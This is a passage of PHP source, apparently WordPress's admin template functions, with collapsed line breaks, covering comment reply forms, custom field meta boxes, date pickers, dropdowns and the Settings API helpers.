Description}} * * @since 2.7.0 * * @param unknown_type $position * @param unknown_type $checkbox * @param unknown_type $mode */ function wp_comment_reply($position = '1', $checkbox = false, $mode = 'single', $table_row = true) { /** * Filter the in-line comment reply-to form output in the Comments * list table. * * Returning a non-empty value here will short-circuit display * of the in-line comment-reply form in the Comments list table, * echoing the returned value instead. * * @since 2.7.0 * * @see wp_comment_reply() * * @param string $content The reply-to form content. * @param array $args An array of default args. */ $content = apply_filters( 'wp_comment_reply', '', array( 'position' => $position, 'checkbox' => $checkbox, 'mode' => $mode ) ); if ( ! empty($content) ) { echo $content; return; } if ( $mode == 'single' ) { $wp_list_table = _get_list_table('WP_Post_Comments_List_Table'); } else { $wp_list_table = _get_list_table('WP_Comments_List_Table'); } ?> <form method="get" action=""> <?php if ( $table_row ) : ?> <table style="display:none;"><tbody id="com-reply"><tr id="replyrow" style="display:none;"><td colspan="<?php echo $wp_list_table->get_column_count(); ?>" class="colspanchange"> <?php else : ?> <div id="com-reply" style="display:none;"><div id="replyrow" style="display:none;"> <?php endif; ?> <div id="replyhead" style="display:none;"><h5><?php _e( 'Reply to Comment' ); ?></h5></div> <div id="addhead" style="display:none;"><h5><?php _e('Add new Comment'); ?></h5></div> <div id="edithead" style="display:none;"> <div class="inside"> <label for="author"><?php _e('Name') ?></label> <input type="text" name="newcomment_author" size="50" value="" id="author" /> </div> <div class="inside"> <label for="author-email"><?php _e('E-mail') ?></label> <input type="text" name="newcomment_author_email" size="50" value="" id="author-email" /> </div> <div class="inside"> <label for="author-url"><?php _e('URL') ?></label> <input type="text" id="author-url" name="newcomment_author_url" size="103" value="" /> </div> <div style="clear:both;"></div> </div> <div id="replycontainer"> <?php $quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' ); wp_editor( '', 'replycontent', array( 'media_buttons' => false, 'tinymce' => false, 'quicktags' => $quicktags_settings ) ); ?> </div> <p id="replysubmit" class="submit"> <a href="#comments-form" class="save button-primary alignright"> <span id="addbtn" style="display:none;"><?php _e('Add Comment'); ?></span> <span id="savebtn" style="display:none;"><?php _e('Update Comment'); ?></span> <span id="replybtn" style="display:none;"><?php _e('Submit Reply'); ?></span></a> <a href="#comments-form" class="cancel button-secondary alignleft"><?php _e('Cancel'); ?></a> <span class="waiting spinner"></span> <span class="error" style="display:none;"></span> <br class="clear" /> </p> <input type="hidden" name="user_ID" id="user_ID" value="<?php echo get_current_user_id(); ?>" /> <input type="hidden" name="action" id="action" value="" /> <input type="hidden" name="comment_ID" id="comment_ID" value="" /> <input type="hidden" name="comment_post_ID" id="comment_post_ID" value="" /> <input type="hidden" name="status" id="status" value="" /> <input type="hidden" name="position" id="position" value="<?php echo $position; ?>" /> <input type="hidden" name="checkbox" id="checkbox" value="<?php echo $checkbox ? 1 : 0; ?>" /> <input type="hidden" name="mode" id="mode" value="<?php echo esc_attr($mode); ?>" /> <?php wp_nonce_field( 'replyto-comment', '_ajax_nonce-replyto-comment', false ); if ( current_user_can( 'unfiltered_html' ) ) wp_nonce_field( 'unfiltered-html-comment', '_wp_unfiltered_html_comment', false ); ?> <?php if ( $table_row ) : ?> </td></tr></tbody></table> <?php else : ?> </div></div> <?php endif; ?> </form> <?php } /** * Output 'undo move to trash' text for comments * * @since 2.9.0 */ function wp_comment_trashnotice() { ?> <div class="hidden" id="trash-undo-holder"> <div class="trash-undo-inside"><?php printf(__('Comment by %s moved to the trash.'), '<strong></strong>'); ?> <span class="undo untrash"><a href="#"><?php _e('Undo'); ?></a></span></div> </div> <div class="hidden" id="spam-undo-holder"> <div class="spam-undo-inside"><?php printf(__('Comment by %s marked as spam.'), '<strong></strong>'); ?> <span class="undo unspam"><a href="#"><?php _e('Undo'); ?></a></span></div> </div> <?php } /** * {@internal Missing Short Description}} * * @since 1.2.0 * * @param unknown_type $meta */ function list_meta( $meta ) { // Exit if no meta if ( ! $meta ) { echo ' <table id="list-table" style="display: none;"> <thead> <tr> <th class="left">' . _x( 'Name', 'meta name' ) . '</th> <th>' . __( 'Value' ) . '</th> </tr> </thead> <tbody id="the-list" data-wp-lists="list:meta"> <tr><td></td></tr> </tbody> </table>'; //TBODY needed for list-manipulation JS return; } $count = 0; ?> <table id="list-table"> <thead> <tr> <th class="left"><?php _ex( 'Name', 'meta name' ) ?></th> <th><?php _e( 'Value' ) ?></th> </tr> </thead> <tbody id='the-list' data-wp-lists='list:meta'> <?php foreach ( $meta as $entry ) echo _list_meta_row( $entry, $count ); ?> </tbody> </table> <?php } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param unknown_type $entry * @param unknown_type $count * @return unknown */ function _list_meta_row( $entry, &$count ) { static $update_nonce = false; if ( is_protected_meta( $entry['meta_key'], 'post' ) ) return; if ( !$update_nonce ) $update_nonce = wp_create_nonce( 'add-meta' ); $r = ''; ++ $count; if ( $count % 2 ) $style = 'alternate'; else $style = ''; if ( is_serialized( $entry['meta_value'] ) ) { if ( is_serialized_string( $entry['meta_value'] ) ) { // this is a serialized string, so we should display it $entry['meta_value'] = maybe_unserialize( $entry['meta_value'] ); } else { // this is a serialized array/object so we should NOT display it --$count; return; } } $entry['meta_key'] = esc_attr($entry['meta_key']); $entry['meta_value'] = esc_textarea( $entry['meta_value'] ); // using a <textarea /> $entry['meta_id'] = (int) $entry['meta_id']; $delete_nonce = wp_create_nonce( 'delete-meta_' . $entry['meta_id'] ); $r .= "\n\t<tr id='meta-{$entry['meta_id']}' class='$style'>"; $r .= "\n\t\t<td class='left'><label class='screen-reader-text' for='meta-{$entry['meta_id']}-key'>" . __( 'Key' ) . "</label><input name='meta[{$entry['meta_id']}][key]' id='meta-{$entry['meta_id']}-key' type='text' size='20' value='{$entry['meta_key']}' />"; $r .= "\n\t\t<div class='submit'>"; $r .= get_submit_button( __( 'Delete' ), 'deletemeta small', "deletemeta[{$entry['meta_id']}]", false, array( 'data-wp-lists' => "delete:the-list:meta-{$entry['meta_id']}::_ajax_nonce=$delete_nonce" ) ); $r .= "\n\t\t"; $r .= get_submit_button( __( 'Update' ), 'updatemeta small', "meta-{$entry['meta_id']}-submit", false, array( 'data-wp-lists' => "add:the-list:meta-{$entry['meta_id']}::_ajax_nonce-add-meta=$update_nonce" ) ); $r .= "</div>"; $r .= wp_nonce_field( 'change-meta', '_ajax_nonce', false, false ); $r .= "</td>"; $r .= "\n\t\t<td><label class='screen-reader-text' for='meta-{$entry['meta_id']}-value'>" . __( 'Value' ) . "</label><textarea name='meta[{$entry['meta_id']}][value]' id='meta-{$entry['meta_id']}-value' rows='2' cols='30'>{$entry['meta_value']}</textarea></td>\n\t</tr>"; return $r; } /** * Prints the form in the Custom Fields meta box. * * @since 1.2.0 * * @param WP_Post $post Optional. The post being edited. */ function meta_form( $post = null ) { global $wpdb; $post = get_post( $post ); /** * Filter the number of custom fields to retrieve for the drop-down * in the Custom Fields meta box. * * @since 2.1.0 * * @param int $limit Number of custom fields to retrieve. Default 30. */ $limit = (int) apply_filters( 'postmeta_form_limit', 30 ); $keys = $wpdb->get_col( " SELECT meta_key FROM $wpdb->postmeta GROUP BY meta_key HAVING meta_key NOT LIKE '\_%' ORDER BY meta_key LIMIT $limit" ); if ( $keys ) { natcasesort( $keys ); $meta_key_input_id = 'metakeyselect'; } else { $meta_key_input_id = 'metakeyinput'; } ?> <p><strong><?php _e( 'Add New Custom Field:' ) ?></strong></p> <table id="newmeta"> <thead> <tr> <th class="left"><label for="<?php echo $meta_key_input_id; ?>"><?php _ex( 'Name', 'meta name' ) ?></label></th> <th><label for="metavalue"><?php _e( 'Value' ) ?></label></th> </tr> </thead> <tbody> <tr> <td id="newmetaleft" class="left"> <?php if ( $keys ) { ?> <select id="metakeyselect" name="metakeyselect"> <option value="#NONE#"><?php _e( '— Select —' ); ?></option> <?php foreach ( $keys as $key ) { if ( is_protected_meta( $key, 'post' ) || ! current_user_can( 'add_post_meta', $post->ID, $key ) ) continue; echo "\n<option value='" . esc_attr($key) . "'>" . esc_html($key) . "</option>"; } ?> </select> <input class="hide-if-js" type="text" id="metakeyinput" name="metakeyinput" value="" /> <a href="#postcustomstuff" class="hide-if-no-js" onclick="jQuery('#metakeyinput, #metakeyselect, #enternew, #cancelnew').toggle();return false;"> <span id="enternew"><?php _e('Enter new'); ?></span> <span id="cancelnew" class="hidden"><?php _e('Cancel'); ?></span></a> <?php } else { ?> <input type="text" id="metakeyinput" name="metakeyinput" value="" /> <?php } ?> </td> <td><textarea id="metavalue" name="metavalue" rows="2" cols="25"></textarea></td> </tr> <tr><td colspan="2"> <div class="submit"> <?php submit_button( __( 'Add Custom Field' ), 'secondary', 'addmeta', false, array( 'id' => 'newmeta-submit', 'data-wp-lists' => 'add:the-list:newmeta' ) ); ?> </div> <?php wp_nonce_field( 'add-meta', '_ajax_nonce-add-meta', false ); ?> </td></tr> </tbody> </table> <?php } /** * Print out HTML form date elements for editing post or comment publish date. * * @since 0.71 * * @param int|bool $edit Accepts 1|true for editing the date, 0|false for adding the date. * @param int|bool $for_post Accepts 1|true for applying the date to a post, 0|false for a comment. * @param int|bool $tab_index The tabindex attribute to add. Default 0. * @param int|bool $multi Optional. Whether the additional fields and buttons should be added. * Default 0|false. */ function touch_time( $edit = 1, $for_post = 1, $tab_index = 0, $multi = 0 ) { global $wp_locale, $comment; $post = get_post(); if ( $for_post ) $edit = ! ( in_array($post->post_status, array('draft', 'pending') ) && (!$post->post_date_gmt || '0000-00-00 00:00:00' == $post->post_date_gmt ) ); $tab_index_attribute = ''; if ( (int) $tab_index > 0 ) $tab_index_attribute = " tabindex=\"$tab_index\""; // echo '<label for="timestamp" style="display: block;"><input type="checkbox" class="checkbox" name="edit_date" value="1" id="timestamp"'.$tab_index_attribute.' /> '.__( 'Edit timestamp' ).'</label><br />'; $time_adj = current_time('timestamp'); $post_date = ($for_post) ? $post->post_date : $comment->comment_date; $jj = ($edit) ? mysql2date( 'd', $post_date, false ) : gmdate( 'd', $time_adj ); $mm = ($edit) ? mysql2date( 'm', $post_date, false ) : gmdate( 'm', $time_adj ); $aa = ($edit) ? mysql2date( 'Y', $post_date, false ) : gmdate( 'Y', $time_adj ); $hh = ($edit) ? mysql2date( 'H', $post_date, false ) : gmdate( 'H', $time_adj ); $mn = ($edit) ? mysql2date( 'i', $post_date, false ) : gmdate( 'i', $time_adj ); $ss = ($edit) ? mysql2date( 's', $post_date, false ) : gmdate( 's', $time_adj ); $cur_jj = gmdate( 'd', $time_adj ); $cur_mm = gmdate( 'm', $time_adj ); $cur_aa = gmdate( 'Y', $time_adj ); $cur_hh = gmdate( 'H', $time_adj ); $cur_mn = gmdate( 'i', $time_adj ); $month = "<select " . ( $multi ? '' : 'id="mm" ' ) . "name=\"mm\"$tab_index_attribute>\n"; for ( $i = 1; $i < 13; $i = $i +1 ) { $monthnum = zeroise($i, 2); $month .= "\t\t\t" . '<option value="' . $monthnum . '" ' . selected( $monthnum, $mm, false ) . '>'; /* translators: 1: month number (01, 02, etc.), 2: month abbreviation */ $month .= sprintf( __( '%1$s-%2$s' ), $monthnum, $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) ) ) . "</option>\n"; } $month .= '</select>'; $day = '<input type="text" ' . ( $multi ? '' : 'id="jj" ' ) . 'name="jj" value="' . $jj . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" />'; $year = '<input type="text" ' . ( $multi ? '' : 'id="aa" ' ) . 'name="aa" value="' . $aa . '" size="4" maxlength="4"' . $tab_index_attribute . ' autocomplete="off" />'; $hour = '<input type="text" ' . ( $multi ? '' : 'id="hh" ' ) . 'name="hh" value="' . $hh . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" />'; $minute = '<input type="text" ' . ( $multi ? '' : 'id="mn" ' ) . 'name="mn" value="' . $mn . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" />'; echo '<div class="timestamp-wrap">'; /* translators: 1: month, 2: day, 3: year, 4: hour, 5: minute */ printf( __( '%1$s %2$s, %3$s @ %4$s : %5$s' ), $month, $day, $year, $hour, $minute ); echo '</div><input type="hidden" id="ss" name="ss" value="' . $ss . '" />'; if ( $multi ) return; echo "\n\n"; foreach ( array('mm', 'jj', 'aa', 'hh', 'mn') as $timeunit ) { echo '<input type="hidden" id="hidden_' . $timeunit . '" name="hidden_' . $timeunit . '" value="' . $$timeunit . '" />' . "\n"; $cur_timeunit = 'cur_' . $timeunit; echo '<input type="hidden" id="' . $cur_timeunit . '" name="' . $cur_timeunit . '" value="' . $$cur_timeunit . '" />' . "\n"; } ?> <p> <a href="#edit_timestamp" class="save-timestamp hide-if-no-js button"><?php _e('OK'); ?></a> <a href="#edit_timestamp" class="cancel-timestamp hide-if-no-js button-cancel"><?php _e('Cancel'); ?></a> </p> <?php } /** * Print out <option> HTML elements for the page templates drop-down. * * @since 1.5.0 * * @param string $default Optional. The template file name. Default empty. */ function page_template_dropdown( $default = '' ) { $templates = get_page_templates( get_post() ); ksort( $templates ); foreach ( array_keys( $templates ) as $template ) { $selected = selected( $default, $templates[ $template ], false ); echo "\n\t<option value='" . esc_attr( $templates[ $template ] ) . "' $selected>" . esc_html( $template ) . "</option>"; } } /** * Print out <option> HTML elements for the page parents drop-down. * * @since 1.5.0 * * @param int $default Optional. The default page ID to be pre-selected. Default 0. * @param int $parent Optional. The parent page ID. Default 0. * @param int $level Optional. Page depth level. Default 0. * * @return void|bool Boolean False if page has no children, otherwise print out html elements */ function parent_dropdown( $default = 0, $parent = 0, $level = 0 ) { global $wpdb; $post = get_post(); $items = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_parent, post_title FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'page' ORDER BY menu_order", $parent) ); if ( $items ) { foreach ( $items as $item ) { // A page cannot be its own parent. if ( $post && $post->ID && $item->ID == $post->ID ) continue; $pad = str_repeat( ' ', $level * 3 ); $selected = selected( $default, $item->ID, false ); echo "\n\t<option class='level-$level' value='$item->ID' $selected>$pad " . esc_html($item->post_title) . "</option>"; parent_dropdown( $default, $item->ID, $level +1 ); } } else { return false; } } /** * Print out <option> html elements for role selectors * * @since 2.1.0 * * @param string $selected slug for the role that should be already selected */ function wp_dropdown_roles( $selected = false ) { $p = ''; $r = ''; $editable_roles = array_reverse( get_editable_roles() ); foreach ( $editable_roles as $role => $details ) { $name = translate_user_role($details['name'] ); if ( $selected == $role ) // preselect specified role $p = "\n\t<option selected='selected' value='" . esc_attr($role) . "'>$name</option>"; else $r .= "\n\t<option value='" . esc_attr($role) . "'>$name</option>"; } echo $p . $r; } /** * Outputs the form used by the importers to accept the data to be imported * * @since 2.0.0 * * @param string $action The action attribute for the form. */ function wp_import_upload_form( $action ) { /** * Filter the maximum allowed upload size for import files. * * @since 2.3.0 * * @see wp_max_upload_size() * * @param int $max_upload_size Allowed upload size. Default 1 MB. */ $bytes = apply_filters( 'import_upload_size_limit', wp_max_upload_size() ); $size = size_format( $bytes ); $upload_dir = wp_upload_dir(); if ( ! empty( $upload_dir['error'] ) ) : ?><div class="error"><p><?php _e('Before you can upload your import file, you will need to fix the following error:'); ?></p> <p><strong><?php echo $upload_dir['error']; ?></strong></p></div><?php else : ?> <form enctype="multipart/form-data" id="import-upload-form" method="post" class="wp-upload-form" action="<?php echo esc_url( wp_nonce_url( $action, 'import-upload' ) ); ?>"> <p> <label for="upload"><?php _e( 'Choose a file from your computer:' ); ?></label> (<?php printf( __('Maximum size: %s' ), $size ); ?>) <input type="file" id="upload" name="import" size="25" /> <input type="hidden" name="action" value="save" /> <input type="hidden" name="max_file_size" value="<?php echo $bytes; ?>" /> </p> <?php submit_button( __('Upload file and import'), 'button' ); ?> </form> <?php endif; } /** * Add a meta box to an edit form. * * @since 2.5.0 * * @param string $id String for use in the 'id' attribute of tags. * @param string $title Title of the meta box. * @param callback $callback Function that fills the box with the desired content. * The function should echo its output. * @param string|WP_Screen $screen Optional. The screen on which to show the box (like a post * type, 'link', or 'comment'). Default is the current screen. * @param string $context Optional. The context within the screen where the boxes * should display. Available contexts vary from screen to * screen. Post edit screen contexts include 'normal', 'side', * and 'advanced'. Comments screen contexts include 'normal' * and 'side'. Menus meta boxes (accordion sections) all use * the 'side' context. Global default is 'advanced'. * @param string $priority Optional. The priority within the context where the boxes * should show ('high', 'low'). Default 'default'. * @param array $callback_args Optional. Data that should be set as the $args property * of the box array (which is the second parameter passed * to your callback). Default null. */ function add_meta_box( $id, $title, $callback, $screen = null, $context = 'advanced', $priority = 'default', $callback_args = null ) { global $wp_meta_boxes; if ( empty( $screen ) ) $screen = get_current_screen(); elseif ( is_string( $screen ) ) $screen = convert_to_screen( $screen ); $page = $screen->id; if ( !isset($wp_meta_boxes) ) $wp_meta_boxes = array(); if ( !isset($wp_meta_boxes[$page]) ) $wp_meta_boxes[$page] = array(); if ( !isset($wp_meta_boxes[$page][$context]) ) $wp_meta_boxes[$page][$context] = array(); foreach ( array_keys($wp_meta_boxes[$page]) as $a_context ) { foreach ( array('high', 'core', 'default', 'low') as $a_priority ) { if ( !isset($wp_meta_boxes[$page][$a_context][$a_priority][$id]) ) continue; // If a core box was previously added or removed by a plugin, don't add. if ( 'core' == $priority ) { // If core box previously deleted, don't add if ( false === $wp_meta_boxes[$page][$a_context][$a_priority][$id] ) return; // If box was added with default priority, give it core priority to maintain sort order if ( 'default' == $a_priority ) { $wp_meta_boxes[$page][$a_context]['core'][$id] = $wp_meta_boxes[$page][$a_context]['default'][$id]; unset($wp_meta_boxes[$page][$a_context]['default'][$id]); } return; } // If no priority given and id already present, use existing priority if ( empty($priority) ) { $priority = $a_priority; // else if we're adding to the sorted priority, we don't know the title or callback. Grab them from the previously added context/priority. } elseif ( 'sorted' == $priority ) { $title = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['title']; $callback = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['callback']; $callback_args = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['args']; } // An id can be in only one priority and one context if ( $priority != $a_priority || $context != $a_context ) unset($wp_meta_boxes[$page][$a_context][$a_priority][$id]); } } if ( empty($priority) ) $priority = 'low'; if ( !isset($wp_meta_boxes[$page][$context][$priority]) ) $wp_meta_boxes[$page][$context][$priority] = array(); $wp_meta_boxes[$page][$context][$priority][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $callback_args); } /** * Meta-Box template function * * @since 2.5.0 * * @param string|object $screen Screen identifier * @param string $context box context * @param mixed $object gets passed to the box callback function as first parameter * @return int number of meta_boxes */ function do_meta_boxes( $screen, $context, $object ) { global $wp_meta_boxes; static $already_sorted = false; if ( empty( $screen ) ) $screen = get_current_screen(); elseif ( is_string( $screen ) ) $screen = convert_to_screen( $screen ); $page = $screen->id; $hidden = get_hidden_meta_boxes( $screen ); printf('<div id="%s-sortables" class="meta-box-sortables">', htmlspecialchars($context)); $i = 0; do { // Grab the ones the user has manually sorted. Pull them out of their previous context/priority and into the one the user chose if ( !$already_sorted && $sorted = get_user_option( "meta-box-order_$page" ) ) { foreach ( $sorted as $box_context => $ids ) { foreach ( explode(',', $ids ) as $id ) { if ( $id && 'dashboard_browser_nag' !== $id ) add_meta_box( $id, null, null, $screen, $box_context, 'sorted' ); } } } $already_sorted = true; if ( !isset($wp_meta_boxes) || !isset($wp_meta_boxes[$page]) || !isset($wp_meta_boxes[$page][$context]) ) break; foreach ( array('high', 'sorted', 'core', 'default', 'low') as $priority ) { if ( isset($wp_meta_boxes[$page][$context][$priority]) ) { foreach ( (array) $wp_meta_boxes[$page][$context][$priority] as $box ) { if ( false == $box || ! $box['title'] ) continue; $i++; $hidden_class = in_array($box['id'], $hidden) ? ' hide-if-js' : ''; echo '<div id="' . $box['id'] . '" class="postbox ' . postbox_classes($box['id'], $page) . $hidden_class . '" ' . '>' . "\n"; if ( 'dashboard_browser_nag' != $box['id'] ) echo '<div class="handlediv" title="' . esc_attr__('Click to toggle') . '"><br /></div>'; echo "<h3 class='hndle'><span>{$box['title']}</span></h3>\n"; echo '<div class="inside">' . "\n"; call_user_func($box['callback'], $object, $box); echo "</div>\n"; echo "</div>\n"; } } } } while(0); echo "</div>"; return $i; } /** * Remove a meta box from an edit form. * * @since 2.6.0 * * @param string $id String for use in the 'id' attribute of tags. * @param string|object $screen The screen on which to show the box (post, page, link). * @param string $context The context within the page where the boxes should show ('normal', 'advanced'). */ function remove_meta_box($id, $screen, $context) { global $wp_meta_boxes; if ( empty( $screen ) ) $screen = get_current_screen(); elseif ( is_string( $screen ) ) $screen = convert_to_screen( $screen ); $page = $screen->id; if ( !isset($wp_meta_boxes) ) $wp_meta_boxes = array(); if ( !isset($wp_meta_boxes[$page]) ) $wp_meta_boxes[$page] = array(); if ( !isset($wp_meta_boxes[$page][$context]) ) $wp_meta_boxes[$page][$context] = array(); foreach ( array('high', 'core', 'default', 'low') as $priority ) $wp_meta_boxes[$page][$context][$priority][$id] = false; } /** * Meta Box Accordion Template Function * * Largely made up of abstracted code from {@link do_meta_boxes()}, this * function serves to build meta boxes as list items for display as * a collapsible accordion. * * @since 3.6.0 * * @uses global $wp_meta_boxes Used to retrieve registered meta boxes. * * @param string|object $screen The screen identifier. * @param string $context The meta box context. * @param mixed $object gets passed to the section callback function as first parameter. * @return int number of meta boxes as accordion sections. */ function do_accordion_sections( $screen, $context, $object ) { global $wp_meta_boxes; wp_enqueue_script( 'accordion' ); if ( empty( $screen ) ) $screen = get_current_screen(); elseif ( is_string( $screen ) ) $screen = convert_to_screen( $screen ); $page = $screen->id; $hidden = get_hidden_meta_boxes( $screen ); ?> <div id="side-sortables" class="accordion-container"> <ul class="outer-border"> <?php $i = 0; $first_open = false; do { if ( ! isset( $wp_meta_boxes ) || ! isset( $wp_meta_boxes[$page] ) || ! isset( $wp_meta_boxes[$page][$context] ) ) break; foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) { if ( isset( $wp_meta_boxes[$page][$context][$priority] ) ) { foreach ( $wp_meta_boxes[$page][$context][$priority] as $box ) { if ( false == $box || ! $box['title'] ) continue; $i++; $hidden_class = in_array( $box['id'], $hidden ) ? 'hide-if-js' : ''; $open_class = ''; if ( ! $first_open && empty( $hidden_class ) ) { $first_open = true; $open_class = 'open'; } ?> <li class="control-section accordion-section <?php echo $hidden_class; ?> <?php echo $open_class; ?> <?php echo esc_attr( $box['id'] ); ?>" id="<?php echo esc_attr( $box['id'] ); ?>"> <h3 class="accordion-section-title hndle" tabindex="0" title="<?php echo esc_attr( $box['title'] ); ?>"><?php echo esc_html( $box['title'] ); ?></h3> <div class="accordion-section-content <?php postbox_classes( $box['id'], $page ); ?>"> <div class="inside"> <?php call_user_func( $box['callback'], $object, $box ); ?> </div><!-- .inside --> </div><!-- .accordion-section-content --> </li><!-- .accordion-section --> <?php } } } } while(0); ?> </ul><!-- .outer-border --> </div><!-- .accordion-container --> <?php return $i; } /** * Add a new section to a settings page. * * Part of the Settings API. Use this to define new settings sections for an admin page. * Show settings sections in your admin page callback function with do_settings_sections(). * Add settings fields to your section with add_settings_field() * * The $callback argument should be the name of a function that echoes out any * content you want to show at the top of the settings section before the actual * fields. It can output nothing if you want. * * @since 2.7.0 * * @global $wp_settings_sections Storage array of all settings sections added to admin pages * * @param string $id Slug-name to identify the section. Used in the 'id' attribute of tags. * @param string $title Formatted title of the section. Shown as the heading for the section. * @param string $callback Function that echos out any content at the top of the section (between heading and fields). * @param string $page The slug-name of the settings page on which to show the section. Built-in pages include 'general', 'reading', 'writing', 'discussion', 'media', etc. Create your own using add_options_page(); */ function add_settings_section($id, $title, $callback, $page) { global $wp_settings_sections; if ( 'misc' == $page ) { _deprecated_argument( __FUNCTION__, '3.0', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'misc' ) ); $page = 'general'; } if ( 'privacy' == $page ) { _deprecated_argument( __FUNCTION__, '3.5', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'privacy' ) ); $page = 'reading'; } $wp_settings_sections[$page][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback); } /** * Add a new field to a section of a settings page * * Part of the Settings API. Use this to define a settings field that will show * as part of a settings section inside a settings page. The fields are shown using * do_settings_fields() in do_settings-sections() * * The $callback argument should be the name of a function that echoes out the * html input tags for this setting field. Use get_option() to retrieve existing * values to show. * * @since 2.7.0 * * @global $wp_settings_fields Storage array of settings fields and info about their pages/sections * * @param string $id Slug-name to identify the field. Used in the 'id' attribute of tags. * @param string $title Formatted title of the field. Shown as the label for the field during output. * @param string $callback Function that fills the field with the desired form inputs. The function should echo its output. * @param string $page The slug-name of the settings page on which to show the section (general, reading, writing, ...). * @param string $section The slug-name of the section of the settings page in which to show the box (default, ...). * @param array $args Additional arguments */ function add_settings_field($id, $title, $callback, $page, $section = 'default', $args = array()) { global $wp_settings_fields; if ( 'misc' == $page ) { _deprecated_argument( __FUNCTION__, '3.0', __( 'The miscellaneous options group has been removed. Use another settings group.' ) ); $page = 'general'; } if ( 'privacy' == $page ) { _deprecated_argument( __FUNCTION__, '3.5', __( 'The privacy options group has been removed. Use another settings group.' ) ); $page = 'reading'; } $wp_settings_fields[$page][$section][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $args); } /** * Prints out all settings sections added to a particular settings page * * Part of the Settings API. Use this in a settings page callback function * to output all the sections and fields that were added to that $page with * add_settings_section() and add_settings_field() * * @global $wp_settings_sections Storage array of all settings sections added to admin pages * @global $wp_settings_fields Storage array of settings fields and info about their pages/sections * @since 2.7.0 * * @param string $page The slug name of the page whos settings sections you want to output */ function do_settings_sections( $page ) { global $wp_settings_sections, $wp_settings_fields; if ( ! isset( $wp_settings_sections[$page] ) ) return; foreach ( (array) $wp_settings_sections[$page] as $section ) { if ( $section['title'] ) echo "<h3>{$section['title']}</h3>\n"; if ( $section['callback'] ) call_user_func( $section['callback'], $section ); if ( ! isset( $wp_settings_fields ) || !isset( $wp_settings_fields[$page] ) || !isset( $wp_settings_fields[$page][$section['id']] ) ) continue; echo '<table class="form-table">'; do_settings_fields( $page, $section['id'] ); echo '</table>'; } } /** * Print out the settings fields for a particular settings section * * Part of the Settings API. Use this in a settings page to output * a specific section. Should normally be called by do_settings_sections() * rather than directly. * * @global $wp_settings_fields Storage array of settings fields and their pages/sections * * @since 2.7.0 * * @param string $page Slug title of the admin page who's settings fields you want to show. * @param section $section Slug title of the settings section who's fields you want to show. */ function do_settings_fields($page, $section) { global $wp_settings_fields; if ( ! isset( $wp_settings_fields[$page][$section] ) ) return; foreach ( (array) $wp_settings_fields[$page][$section] as $field ) { echo '<tr>'; if ( !empty($field['args']['label_for']) ) echo '<th scope="row"><label for="' . esc_attr( $field['args']['label_for'] ) . '">' . $field['title'] . '</label></th>'; else echo '<th scope="row">' . $field['title'] . '</th>'; echo '<td>'; call_user_func($field['callback'], $field['args']); echo '</td>'; echo '</tr>'; } } /** * Register a settings error to be displayed to the user * * Part of the Settings API. Use this to show messages to users about settings validation * problems, missing settings or anything else. * * Settings errors should be added inside the $sanitize_callback function defined in * register_setting() for a given setting to give feedback about the submission. * * By default messages will show immediately after the submission that generated the error. * Additional calls to settings_errors() can be used to show errors even when the settings * page is first accessed. * * @since 3.0.0 * * @global array $wp_settings_errors Storage array of errors registered during this pageload * * @param string $setting Slug title of the setting to which this error applies * @param string $code Slug-name to identify the error. Used as part of 'id' attribute in HTML output. * @param string $message The formatted message text to display to the user (will be shown inside styled <div> and <p>) * @param string $type The type of message it is, controls HTML class. Use 'error' or 'updated'. */ function add_settings_error( $setting, $code, $message, $type = 'error' ) { global $wp_settings_errors; $new_error = array( 'setting' => $setting, 'code' => $code, 'message' => $message, 'type' => $type ); $wp_settings_errors[] = $new_error; } /** * Fetch settings errors registered by add_settings_error() * * Checks the $wp_settings_errors array for any errors declared during the current * pageload and returns them. * * If changes were just submitted ($_GET['settings-updated']) and settings errors were saved * to the 'settings_errors' transient then those errors will be returned instead. This * is used to pass errors back across pageloads. * * Use the $sanitize argument to manually re-sanitize the option before returning errors. * This is useful if you have errors or notices you want to show even when the user * hasn't submitted data (i.e. when they first load an options page, or in admin_notices action hook) * * @since 3.0.0 * * @global array $wp_settings_errors Storage array of errors registered during this pageload * * @param string $setting Optional slug title of a specific setting who's errors you want. * @param boolean $sanitize Whether to re-sanitize the setting value before returning errors. * @return array Array of settings errors */ function get_settings_errors( $setting = '', $sanitize = false ) { global $wp_settings_errors; // If $sanitize is true, manually re-run the sanitization for this option // This allows the $sanitize_callback from register_setting() to run, adding // any settings errors you want to show by default. if ( $sanitize ) sanitize_option( $setting, get_option( $setting ) ); // If settings were passed back from options.php then use them if ( isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] && get_transient( 'settings_errors' ) ) { $wp_settings_errors = array_merge( (array) $wp_settings_errors, get_transient( 'settings_errors' ) ); delete_transient( 'settings_errors' ); } // Check global in case errors have been added on this pageload if ( ! count( $wp_settings_errors ) ) return array(); // Filter the results to those of a specific setting if one was set if ( $setting ) { $setting_errors = array(); foreach ( (array) $wp_settings_errors as $key => $details ) { if ( $setting == $details['setting'] ) $setting_errors[] = $wp_settings_errors[$key]; } return $setting_errors; } return $wp_settings_errors; } /** * Display settings errors registered by add_settings_error() * * Part of the Settings API. Outputs a <div> for each error retrieved by get_settings_errors(). * * This is called automatically after a settings page based on the Settings API is submitted. * Errors should be added during the validation callback function for a setting defined in register_setting() * * The $sanitize option is passed into get_settings_errors() and will re-run the setting sanitization * on its current value. * * The $hide_on_update option will cause errors to only show when the settings page is first loaded. * if the user has already saved new values it will be hidden to avoid repeating messages already * shown in the default error reporting after submission. This is useful to show general errors like missing * settings when the user arrives at the settings page. * * @since 3.0.0 * * @param string $setting Optional slug title of a specific setting who's errors you want. * @param boolean $sanitize Whether to re-sanitize 